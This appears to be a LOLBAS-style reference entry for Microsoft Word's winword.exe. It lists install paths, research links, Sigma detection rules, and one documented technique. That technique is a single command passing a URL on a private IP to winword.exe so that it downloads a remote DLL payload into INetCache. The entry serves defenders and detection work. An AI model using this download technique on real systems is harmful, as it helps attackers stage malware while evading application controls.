

.. /Winword.exe

[Download \(INetCache\)](#)

Microsoft Office binary

Paths:

C:\Program Files\Microsoft Office\root\Office16\winword.exe
C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\winword.exe
C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\winword.exe
C:\Program Files (x86)\Microsoft Office\Office16\winword.exe
C:\Program Files\Microsoft Office\Office16\winword.exe
C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\winword.exe
C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\winword.exe
C:\Program Files (x86)\Microsoft Office\Office15\winword.exe
C:\Program Files\Microsoft Office\Office15\winword.exe
C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\winword.exe
C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\winword.exe
C:\Program Files (x86)\Microsoft Office\Office14\winword.exe
C:\Program Files\Microsoft Office\Office14\winword.exe
C:\Program Files (x86)\Microsoft Office\Office12\winword.exe
C:\Program Files\Microsoft Office\Office12\winword.exe
C:\Program Files\Microsoft Office\Office12\winword.exe

Resources:

- <https://twitter.com/reegun21/status/1150032506504151040>
- <https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191>

Acknowledgements:

- Reegun J (OCBC Bank) ([@reegun21](#))

Detections:

- Sigma:
https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_office_arbitrary_cli_download.yml
- IOC: Suspicious Office application Internet/network traffic

Download

Downloads payload from remote server

```
winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"
```

Use case: It will download a remote payload and place it in INetCache.

Privileges required: User
Operating systems: Windows
ATT&CK® technique: T1105
Tags: [Download: INetCache](#)